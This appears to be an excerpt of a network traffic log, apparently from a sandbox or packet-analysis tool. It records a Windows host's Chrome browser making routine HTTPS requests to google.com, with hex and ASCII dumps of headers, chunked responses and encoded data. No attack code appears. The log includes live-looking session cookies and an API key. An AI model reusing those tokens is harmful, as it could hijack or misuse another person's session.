2024-12-02 10:22:06 UTC	341	IN	Data Raw: 34 34 38 38 0d 0a 46 62 4e 77 62 42 49 30 41 69 4f 7a 6b 5a 68 53 41 73 43 6d 43 5a 52 2b 5a 43 46 66 73 34 58 39 45 71 36 65 4f 41 71 33 36 6f 56 75 6b 51 5a 4f 4b 41 41 75 41 63 44 30 75 6d 68 32 73 74 4e 73 75 46 77 46 52 58 32 4a 34 35 78 2b 33 66 73 55 4b 4d 47 48 70 79 2f 56 45 51 42 68 55 53 34 42 31 75 6d 36 61 46 6d 37 68 47 7a 36 58 46 34 44 4f 74 6e 6e 6e 48 37 4d 2f 31 4e 6c 78 34 62 6d 66 64 38 58 42 48 64 58 5a 6b 4c 66 2f 50 30 33 5a 36 48 4d 5a 2f 30 54 44 45 78 39 6e 36 65 59 61 49 79 6b 47 6b 66 53 6e 75 52 59 30 67 4d 48 4d 45 6b 75 57 4a 48 30 39 6e 41 34 34 73 64 73 39 68 49 43 52 54 54 62 37 5a 56 32 7a 66 70 53 65 74 36 4d 37 58 33 52 46 41 56 39 58 6e 4a 50 31 66 76 32 4d 57 32 68 68 43 57 32 47 78 34 44 5a 5a 47 30 72 58 50 64 37 Data Ascii: 4488FbNwbBI0AiOzkZhSAsCmCZR+ZCFfs4X9Eq6eOAq36oVukQZOKAAuAcD0umh2stNsuFwFRX2J45x+3fsUKMGHpy/VEQBhUS4B1um6aFm7hGz6XF4DOtnnnH7M/1Nlx4bmfd8XBHdXZkLf/P03Z6HMZ/0TDEx9n6eYaIykGkfSnuRY0gMHMEkuWJH09nA44sds9hICRTTb7ZV2zfpSet6M7X3RFAV9XnJP1fv2MW2hhCW2Gx4DZZG0rXPd7
2024-12-02 10:22:06 UTC	1369	IN	Data Raw: 44 4b 4e 4b 45 70 79 2b 52 46 41 42 78 57 32 42 54 32 66 6a 78 4e 58 4b 70 7a 57 62 37 48 41 74 4a 4d 74 4c 6e 6d 48 72 47 38 31 42 73 32 49 58 68 64 39 46 53 51 44 42 52 65 41 47 4a 73 39 6b 31 63 4b 58 49 66 62 51 6d 52 6c 78 7a 79 4b 65 59 66 49 79 6b 47 6d 44 51 69 2b 52 38 33 68 45 47 65 30 52 67 55 39 66 2b 2f 79 4a 6d 70 38 70 68 39 51 34 4d 54 54 76 53 37 70 52 35 79 66 74 65 4b 4a 76 49 34 47 2b 52 53 6b 35 52 57 32 74 4e 32 2b 54 36 63 48 2f 73 33 53 76 78 45 45 59 62 66 64 58 6d 6d 33 48 49 38 6c 52 73 32 59 37 70 65 74 34 55 42 48 42 52 61 6b 6e 5a 38 76 63 37 62 36 4c 42 5a 76 49 61 43 6b 49 34 6b 61 6e 66 64 39 53 38 41 69 6a 37 6a 2b 52 6c 6b 79 63 4e 66 6c 68 6e 56 35 48 73 74 43 6b 67 70 63 67 72 72 6c 77 49 52 6a 4c 44 35 6f 31 31 77 75 Data Ascii: DKNKEpy+RFABxW2BT2fjxNXKpzWb7HAtJMtLnmHrG81Bs2IXhd9FSQDBReAGJs9k1cKXIfbQmRlxzyKeYfIykGmDQi+R83hEGe0RgU9f+/yJmp8ph9Q4MTTvS7pR5yfteKJvI4G+RSk5RW2tN2+T6cH/s3SvxEEYbfdXmm3HI8lRs2Y7pet4UBHBRaknZ8vc7b6LBZvIaCkI4kanfd9S8Aij7j+RlkycNflhnV5HstCkgpcgrrlwIRjLD5o11wu
2024-12-02 10:22:06 UTC	1369	IN	Data Raw: 68 4f 70 34 6b 79 63 4e 66 6c 68 6e 56 35 48 73 74 43 6b 67 70 63 67 72 72 6c 77 4b 53 6a 33 61 37 5a 74 77 79 2f 46 66 61 39 4b 4c 36 6e 44 62 48 41 6c 30 57 6d 6c 4d 31 2f 50 39 4e 47 57 77 77 57 4c 36 45 45 59 4e 66 64 62 2f 33 79 69 4d 30 31 31 2b 31 71 66 6b 5a 74 68 53 45 54 35 50 49 45 62 64 73 36 4a 77 5a 36 66 4d 59 50 41 55 42 6c 45 34 33 2b 79 65 65 73 72 39 56 32 54 54 69 4f 5a 33 31 78 34 4f 64 31 46 79 55 39 54 31 36 44 6f 67 37 49 52 73 37 6c 78 65 41 77 76 42 38 49 35 6d 6a 73 6c 5a 5a 74 75 50 38 54 66 4f 58 42 63 77 55 57 77 42 69 62 50 78 4d 47 79 6c 7a 47 33 79 46 41 6c 4d 4e 4d 50 6d 6b 33 37 65 2b 31 70 68 32 34 66 72 66 74 77 56 41 33 74 63 62 55 58 57 38 72 70 2b 49 4b 58 63 4b 36 35 63 4d 46 4d 77 33 63 6d 55 66 4d 57 38 52 53 62 Data Ascii: hOp4kycNflhnV5HstCkgpcgrrlwKSj3a7Ztwy/Ffa9KL6nDbHAl0WmlM1/P9NGWwwWL6EEYNfdb/3yiM011+1qfkZthSET5PIEbds6JwZ6fMYPAUBlE43+yeesr9V2TTiOZ31x4Od1FyU9T16Dog7IRs7lxeAwvB8I5mjslZZtuP8TfOXBcwUWwBibPxMGylzG3yFAlMNMPmk37e+1ph24frftwVA3tcbUXW8rp+IKXcK65cMFMw3cmUfMW8RSb
2024-12-02 10:22:06 UTC	1369	IN	Data Raw: 38 4d 54 43 6e 68 58 62 6b 37 51 39 2f 38 31 5a 4b 58 41 62 66 6c 63 53 41 4d 36 79 61 66 48 4d 4f 50 62 62 79 72 30 73 71 64 6f 6e 77 74 4f 64 31 6f 67 47 5a 48 2f 2b 54 78 6f 72 63 4a 69 2b 68 59 50 53 44 48 61 34 35 4e 35 79 66 70 62 62 64 43 4a 34 33 76 62 46 41 31 7a 57 57 39 4f 32 62 4f 30 63 47 65 36 68 44 4f 32 4f 52 46 49 4d 39 65 6e 67 44 37 56 76 46 31 6b 6c 64 43 6e 65 39 67 55 43 48 56 61 59 55 66 5a 39 76 49 30 59 61 54 43 61 50 6b 59 41 30 49 79 31 65 75 52 65 73 33 39 56 6d 50 61 67 2b 49 33 6e 31 49 4a 61 42 59 34 41 65 44 77 37 43 64 77 72 6f 52 30 75 41 56 47 52 44 47 52 76 39 39 78 33 76 5a 51 5a 74 43 48 34 6e 54 65 46 51 4e 32 57 6d 70 49 32 66 58 31 4f 58 4b 68 79 47 58 78 45 67 70 4e 4d 4e 76 6b 6b 6a 43 43 76 46 31 77 6c 64 43 6e Data Ascii: 8MTCnhXbk7Q9/81ZKXAbflcSAM6yafHMOPbbyr0sqdonwtOd1ogGZH/+TxorcJi+hYPSDHa45N5yfpbbdCJ43vbFA1zWW9O2bO0cGe6hDO2ORFIM9engD7VvF1kldCne9gUCHVaYUfZ9vI0YaTCaPkYA0Iy1euRes39VmPag+I3n1IJaBY4AeDw7CdwroR0uAVGRDGRv99x3vZQZtCH4nTeFQN2WmpI2fX1OXKhyGXxEgpNMNvkkjCCvF1wldCn
2024-12-02 10:22:06 UTC	1369	IN	Data Raw: 68 69 57 6d 35 54 31 4f 48 6f 63 43 37 69 77 33 4f 32 52 45 5a 31 4f 73 48 33 6e 44 4c 39 36 6c 6c 2b 33 6f 58 72 4e 38 35 63 46 7a 42 52 62 41 47 4a 73 2f 77 2f 61 61 48 4c 61 76 38 51 43 30 59 30 31 4f 61 5a 64 4d 62 32 57 6d 37 54 69 65 4a 39 30 68 4d 45 65 56 46 6f 52 74 4c 68 75 6e 34 67 70 64 77 72 72 6c 77 76 52 43 2f 66 39 39 39 76 67 75 55 61 62 39 6e 49 76 7a 66 56 47 41 46 30 55 57 78 48 31 50 58 33 4d 57 2b 6a 78 47 54 79 46 77 39 46 50 4e 7a 69 6b 6e 54 65 39 6c 46 6e 32 59 48 72 65 70 46 63 54 6e 64 4f 49 42 6d 52 77 76 63 2b 62 71 58 53 4b 2b 6c 53 48 77 4d 36 33 61 66 48 4d 4d 33 77 56 57 76 61 69 2b 52 32 32 77 41 63 66 46 39 6f 52 4e 33 34 39 44 5a 79 70 4d 74 69 39 52 38 50 52 44 58 64 37 5a 78 33 6a 4c 49 61 62 38 33 49 76 7a 66 79 42 Data Ascii: hiWm5T1OHocC7iw3O2REZ1OsH3nDL96ll+3oXrN85cFzBRbAGJs/w/aaHLav8QC0Y01OaZdMb2Wm7TieJ90hMEeVFoRtLhun4gpdwrrlwvRC/f999vguUab9nIvzfVGAF0UWxH1PX3MW+jxGTyFw9FPNziknTe9lFn2YHrepFcTndOIBmRwvc+bqXSK+lSHwM63afHMM3wVWvai+R22wAcfF9oRN349DZypMti9R8PRDXd7Zx3jLIab83IvzfyB
2024-12-02 10:22:06 UTC	1369	IN	Data Raw: 73 41 59 6d 7a 2f 44 6c 6d 70 63 4a 6c 35 42 6b 41 54 44 4c 59 37 70 74 34 7a 2f 78 65 62 4e 4b 4e 35 48 76 61 46 51 31 2f 55 6d 6c 50 32 50 79 36 66 69 43 6c 33 43 75 75 58 43 64 59 50 74 33 71 33 32 2b 43 35 52 70 76 32 63 69 2f 4e 39 30 63 43 33 42 63 5a 6b 58 55 39 66 41 31 59 4b 6e 48 5a 50 49 61 41 6b 77 39 32 75 36 65 64 73 6e 32 55 57 37 59 69 2b 46 78 6b 56 78 4f 64 30 34 67 47 5a 48 54 34 54 31 73 70 59 52 30 75 41 56 47 52 44 47 52 76 39 39 37 77 50 68 64 61 4e 69 4c 37 33 4c 56 47 41 74 77 58 6e 4a 4a 30 66 54 6f 49 6d 43 72 77 57 66 31 48 41 4a 46 4e 4e 66 6b 6d 7a 43 43 76 46 31 77 6c 64 43 6e 57 74 30 56 4a 33 64 4e 49 46 36 66 36 72 6f 33 62 4f 4b 63 4b 2f 63 58 44 45 77 77 30 75 47 63 65 38 6e 32 57 32 2f 64 68 66 56 30 33 68 30 4b 63 46 Data Ascii: sAYmz/DlmpcJl5BkATDLY7pt4z/xebNKN5HvaFQ1/UmlP2Py6fiCl3CuuXCdYPt3q32+C5Rpv2ci/N90cC3BcZkXU9fA1YKnHZPIaAkw92u6edsn2UW7Yi+FxkVxOd04gGZHT4T1spYR0uAVGRDGRv997wPhdaNiL73LVGAtwXnJJ0fToImCrwWf1HAJFNNfkmzCCvF1wldCnWt0VJ3dNIF6f6ro3bOKcK/cXDEww0uGce8n2W2/dhfV03h0KcF
2024-12-02 10:22:06 UTC	1369	IN	Data Raw: 74 50 6b 69 63 71 54 48 66 66 56 62 4f 48 30 61 78 2b 32 59 59 4d 76 72 56 53 69 62 79 4f 67 33 69 53 74 4f 65 56 46 37 55 4d 66 2b 36 6a 63 67 6e 59 6f 72 37 6c 78 65 41 77 6a 53 36 5a 46 33 32 75 30 58 54 38 4f 43 34 47 66 57 42 51 45 77 47 43 42 48 6b 61 75 70 66 69 43 6d 31 53 75 75 54 46 51 59 61 49 4b 77 7a 79 4c 54 73 6b 4d 6f 77 38 69 2f 4a 5a 39 53 48 44 41 4f 49 41 62 53 34 65 67 32 59 37 54 48 4c 4d 67 69 49 56 6b 77 31 2f 43 4f 54 76 4c 37 51 47 58 54 6e 2f 59 37 78 42 45 41 66 6c 46 32 41 5a 2b 7a 39 58 41 34 6d 34 51 6a 74 69 4e 49 41 79 57 52 76 39 39 46 7a 2f 4a 55 62 38 4f 5a 71 6c 44 4c 48 77 68 6e 52 79 41 50 6b 66 57 36 61 44 44 73 68 47 2f 6e 58 46 34 54 62 34 71 79 7a 43 65 63 72 6b 55 6d 7a 4d 6a 78 4e 34 6c 41 51 44 42 45 49 42 6d Data Ascii: tPkicqTHffVbOH0ax+2YYMvrVSibyOg3iStOeVF7UMf+6jcgnYor7lxeAwjS6ZF32u0XT8OC4GfWBQEwGCBHkaupfiCm1SuuTFQYaIKwzyLTskMow8i/JZ9SHDAOIAbS4eg2Y7THLMgiIVkw1/COTvL7QGXTn/Y7xBEAflF2AZ+z9XA4m4QjtiNIAyWRv99Fz/JUb8OZqlDLHwhnRyAPkfW6aDDshG/nXF4Tb4qyzCecrkUmzMjxN4lAQDBEIBm
2024-12-02 10:22:06 UTC	1369	IN	Data Raw: 46 6e 69 6a 43 76 4a 55 6b 5a 62 66 59 6d 6e 71 6e 50 43 38 6c 31 2b 78 4d 58 41 65 64 59 54 47 47 42 42 62 77 47 66 73 2f 78 77 4f 50 43 4b 4b 2f 49 4e 52 68 74 74 67 37 7a 4b 49 35 75 73 43 48 65 62 6b 61 64 68 6b 55 70 63 50 68 5a 79 41 59 6d 7a 76 54 4e 79 73 4d 4a 6f 34 42 39 42 66 51 50 32 36 5a 68 78 32 75 78 4e 5a 35 71 6d 30 56 62 76 4c 42 74 7a 57 47 35 47 78 2b 4b 36 66 69 43 74 68 44 50 50 58 45 34 44 41 70 2b 6e 68 7a 43 55 76 47 39 72 32 34 62 67 59 63 42 66 4b 58 35 52 59 56 66 42 35 50 56 2f 54 70 54 6c 4b 37 68 63 41 41 4e 6c 67 36 6e 66 64 4e 32 38 41 6a 69 48 30 37 49 6b 68 6b 4a 63 62 78 68 35 41 63 65 7a 6f 6d 49 75 34 74 59 72 72 6c 78 42 51 43 2f 44 34 5a 78 6d 7a 37 74 6b 56 76 4b 47 34 48 62 48 41 67 4e 38 64 32 4e 51 32 38 33 45 Data Ascii: FnijCvJUkZbfYmnqnPC8l1+xMXAedYTGGBBbwGfs/xwOPCKK/INRhttg7zKI5usCHebkadhkUpcPhZyAYmzvTNysMJo4B9BfQP26Zhx2uxNZ5qm0VbvLBtzWG5Gx+K6fiCthDPPXE4DAp+nhzCUvG9r24bgYcBfKX5RYVfB5PV/TpTlK7hcAANlg6nfdN28AjiH07IkhkJcbxh5AcezomIu4tYrrlxBQC/D4Zxmz7tkVvKG4HbHAgN8d2NQ283E
2024-12-02 10:22:06 UTC	1369	IN	Data Raw: 77 72 73 52 49 4c 51 6a 37 66 35 49 31 69 79 76 39 4d 61 35 4b 32 32 56 72 44 46 52 35 7a 46 46 46 4d 31 65 58 76 4d 33 43 6c 2b 6c 58 62 44 67 46 54 50 70 50 4c 6d 48 33 41 77 6d 52 66 78 49 2f 33 4e 66 63 52 47 48 4d 57 4c 67 48 4a 73 36 4a 77 54 62 44 44 65 2f 56 65 4b 6b 51 77 33 61 65 41 50 74 57 38 54 43 69 4e 32 36 6b 33 77 31 4a 57 4d 42 46 6a 55 38 50 31 2b 53 5a 6a 35 66 70 56 32 77 34 42 55 7a 36 54 31 70 4a 30 32 75 6c 5a 65 4e 4b 32 32 56 72 44 46 52 35 7a 46 45 56 37 6b 38 4c 73 4d 32 43 73 77 79 75 34 58 42 34 44 5a 5a 48 4b 6a 58 66 63 2f 78 68 4e 37 38 72 57 59 64 49 53 41 48 63 57 4c 67 48 64 73 36 4a 77 62 62 44 44 65 2f 56 51 41 56 6b 36 6b 66 6a 52 61 59 7a 71 47 6a 43 47 78 71 64 6c 6b 55 70 4f 4e 31 68 74 51 4e 4c 39 2b 53 4a 79 70 Data Ascii: wrsRILQj7f5I1iyv9Ma5K22VrDFR5zFFFM1eXvM3Cl+lXbDgFTPpPLmH3AwmRfxI/3NfcRGHMWLgHJs6JwTbDDe/VeKkQw3aeAPtW8TCiN26k3w1JWMBFjU8P1+SZj5fpV2w4BUz6T1pJ02ulZeNK22VrDFR5zFEV7k8LsM2Cswyu4XB4DZZHKjXfc/xhN78rWYdISAHcWLgHds6JwbbDDe/VQAVk6kfjRaYzqGjCGxqdlkUpON1htQNL9+SJyp

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.11.20	49793	142.250.69.4	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:05 UTC	815	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEIrJ7OAQiIo84BCOSvzgEIw7bOAQi9uc4BCO28zgEIu73OAQjWvc4BCMy/zgEYwcvMARi9rs4BGJ2xzgE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-02 10:22:05 UTC	1367	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:22:05 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-uT3WfiqCGUAEKAt8jqYHyw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 10:22:05 UTC	1367	IN	Data Raw: 62 34 66 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6c 61 73 20 76 65 67 61 73 20 66 65 73 74 69 76 61 6c 20 63 61 6e 63 65 6c 6c 61 74 69 6f 6e 20 32 30 32 35 22 2c 22 6a 6f 68 6e 20 66 6f 72 63 65 20 72 61 63 69 6e 67 22 2c 22 66 6f 72 74 6e 69 74 65 20 62 61 74 74 6c 65 20 72 6f 79 61 6c 65 20 63 68 61 70 74 65 72 20 36 22 2c 22 69 6e 74 65 72 65 73 74 20 72 61 74 65 73 20 6d 6f 72 74 67 61 67 65 20 72 65 66 69 6e 61 6e 63 65 22 2c 22 62 72 6f 6e 73 6f 6e 20 72 65 65 64 20 69 6e 6a 75 72 79 20 73 75 72 76 69 76 6f 72 20 73 65 72 69 65 73 22 2c 22 67 6f 6c 64 65 6e 20 73 74 61 74 65 20 77 61 72 72 69 6f 72 73 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 73 75 70 65 72 20 73 6f 69 72 65 65 20 72 65 77 61 72 64 73 22 2c 22 73 6f 63 69 61 6c 20 73 65 63 75 72 Data Ascii: b4f)]}'["",["las vegas festival cancellation 2025","john force racing","fortnite battle royale chapter 6","interest rates mortgage refinance","bronson reed injury survivor series","golden state warriors","monopoly go super soiree rewards","social secur
2024-12-02 10:22:05 UTC	1367	IN	Data Raw: 77 54 57 4a 42 52 6c 52 43 4c 7a 4d 30 51 79 39 35 53 58 6c 56 54 6b 39 35 4b 33 64 72 4f 46 56 59 56 57 68 4d 65 48 56 54 63 6d 4a 30 64 7a 56 79 53 33 51 78 56 7a 64 7a 53 56 41 78 53 6d 39 30 62 45 59 7a 65 6b 78 75 51 7a 68 50 53 33 64 47 55 45 31 30 64 56 46 5a 5a 6d 70 48 64 7a 56 55 63 47 78 36 54 31 4e 6b 61 32 78 70 63 58 68 77 54 6a 64 44 55 79 74 4b 65 48 4a 4c 55 6b 31 32 62 31 4a 6d 63 33 63 33 53 44 5a 30 57 48 4a 75 4f 54 46 52 57 54 6c 35 65 44 6c 57 5a 6a 68 34 61 31 45 78 62 44 63 33 52 6b 4e 33 59 55 6f 78 4f 47 6f 34 52 58 4d 79 4e 30 4e 69 51 30 30 35 53 6e 59 33 64 6a 4e 78 55 6b 64 6f 59 56 6c 6d 51 6d 4a 35 54 6a 68 74 62 32 51 35 53 6c 42 73 5a 56 68 69 52 6e 6c 46 5a 58 70 6a 61 57 35 6b 54 6d 63 31 61 55 78 6d 59 55 4e 61 4f 58 Data Ascii: wTWJBRlRCLzM0Qy95SXlVTk95K3drOFVYVWhMeHVTcmJ0dzVyS3QxVzdzSVAxSm90bEYzekxuQzhPS3dGUE10dVFZZmpHdzVUcGx6T1Nka2xpcXhwTjdDUytKeHJLUk12b1Jmc3c3SDZ0WHJuOTFRWTl5eDlWZjh4a1ExbDc3RkN3YUoxOGo4RXMyN0NiQ005SnY3djNxUkdoYVlmQmJ5Tjhtb2Q5SlBsZVhiRnlFZXpjaW5kTmc1aUxmYUNaOX
2024-12-02 10:22:05 UTC	168	IN	Data Raw: 46 5a 64 56 45 35 61 55 5a 78 4d 6b 31 6c 57 6b 31 6a 59 31 56 4d 63 31 46 76 55 6d 64 4a 53 44 46 43 4e 56 6c 4b 52 54 52 4a 62 47 78 68 61 58 46 4b 57 54 4a 54 62 30 6c 33 55 47 68 6b 56 54 55 79 61 6d 6c 6f 4e 6b 6c 57 65 55 4d 33 51 6a 52 76 55 56 56 68 4f 57 31 79 64 45 4a 51 51 55 70 70 62 33 46 6a 52 30 68 36 51 6a 42 31 55 30 4a 68 56 6a 46 32 52 6c 6b 78 4e 32 78 6c 62 32 5a 72 4e 32 64 31 59 33 67 31 54 30 56 78 57 45 74 4a 65 57 78 6d 56 30 4a 33 54 6c 6c 54 62 31 6f 72 52 30 5a 6f 0d 0a Data Ascii: FZdVE5aUZxMk1lWk1jY1VMc1FvUmdJSDFCNVlKRTRJbGxhaXFKWTJTb0l3UGhkVTUyamloNklWeUM3QjRvUVVhOW1ydEJQQUppb3FjR0h6QjB1U0JhVjF2RlkxN2xlb2ZrN2d1Y3g1T0VxWEtJeWxmV0J3TllTb1orR0Zo
2024-12-02 10:22:05 UTC	89	IN	Data Raw: 35 33 0d 0a 62 57 39 6d 51 30 4d 78 4d 44 4a 72 4f 44 46 6d 63 45 74 56 4e 46 42 57 63 58 56 34 55 30 56 58 59 7a 51 76 63 6b 45 34 63 6d 39 73 54 6c 6f 34 52 6a 42 74 63 58 64 72 55 6c 52 74 4e 47 6c 79 59 30 74 50 65 6c 63 76 56 44 5a 7a 4f 48 46 31 54 45 74 0d 0a Data Ascii: 53bW9mQ0MxMDJrODFmcEtVNFBWcXV4U0VXYzQvckE4cm9sTlo4RjBtcXdrUlRtNGlyY0tPelcvVDZzOHF1TEt
2024-12-02 10:22:05 UTC	1255	IN	Data Raw: 34 65 33 0d 0a 79 62 6e 4d 76 63 32 52 34 59 7a 6c 45 64 57 56 34 52 46 68 75 57 45 78 49 53 6e 68 33 53 44 6c 51 54 6b 5a 70 62 6e 4a 6f 56 32 35 69 5a 57 4e 34 4f 45 30 76 63 30 63 31 5a 31 68 6b 59 31 5a 59 59 32 55 32 51 30 31 32 65 45 6b 30 65 55 78 71 4e 30 4a 46 62 54 4e 36 59 56 68 32 59 32 73 78 5a 6d 35 34 4d 6d 52 46 55 32 45 72 55 7a 5a 69 64 6c 42 49 4d 30 74 50 54 6c 4a 77 57 6d 78 73 59 30 70 78 55 46 4e 59 4e 32 6f 7a 61 58 67 7a 4e 6b 4a 6c 4e 47 4e 4e 65 46 6c 79 51 6d 63 34 57 44 49 77 4e 46 56 6f 5a 54 45 79 54 47 52 45 54 6d 39 33 65 6c 42 4f 65 54 52 48 4d 47 46 32 56 57 52 6d 64 44 56 36 5a 46 64 42 64 6e 68 57 64 54 51 34 54 56 5a 71 4e 6b 74 79 54 30 77 7a 62 44 67 77 63 6d 78 58 52 32 4a 55 51 7a 52 71 57 56 56 32 53 6e 68 51 54 Data Ascii: 4e3ybnMvc2R4YzlEdWV4RFhuWExISnh3SDlQTkZpbnJoV25iZWN4OE0vc0c1Z1hkY1ZYY2U2Q012eEk0eUxqN0JFbTN6YVh2Y2sxZm54MmRFU2ErUzZidlBIM0tPTlJwWmxsY0pxUFNYN2ozaXgzNkJlNGNNeFlyQmc4WDIwNFVoZTEyTGRETm93elBOeTRHMGF2VWRmdDV6ZFdBdnhWdTQ4TVZqNktyT0wzbDgwcmxXR2JUQzRqWVV2SnhQT
2024-12-02 10:22:05 UTC	3	IN	Data Raw: 5d 0d 0a Data Ascii: ]
2024-12-02 10:22:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.11.20	49794	142.250.69.4	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:05 UTC	553	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.11.20	49795	142.250.69.4	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 10:22:05 UTC	718	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIk6HLAQic/swBCIWgzQEIrJ7OAQiIo84BCOSvzgEIw7bOAQi9uc4BCO28zgEIu73OAQjWvc4BCMy/zgEYwcvMARi9rs4BGJ2xzgE= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-02 10:22:05 UTC	1119	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 02 Dec 2024 10:22:05 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-02 10:22:05 UTC	136	IN	Data Raw: 31 63 32 65 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 Data Ascii: 1c2e)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class
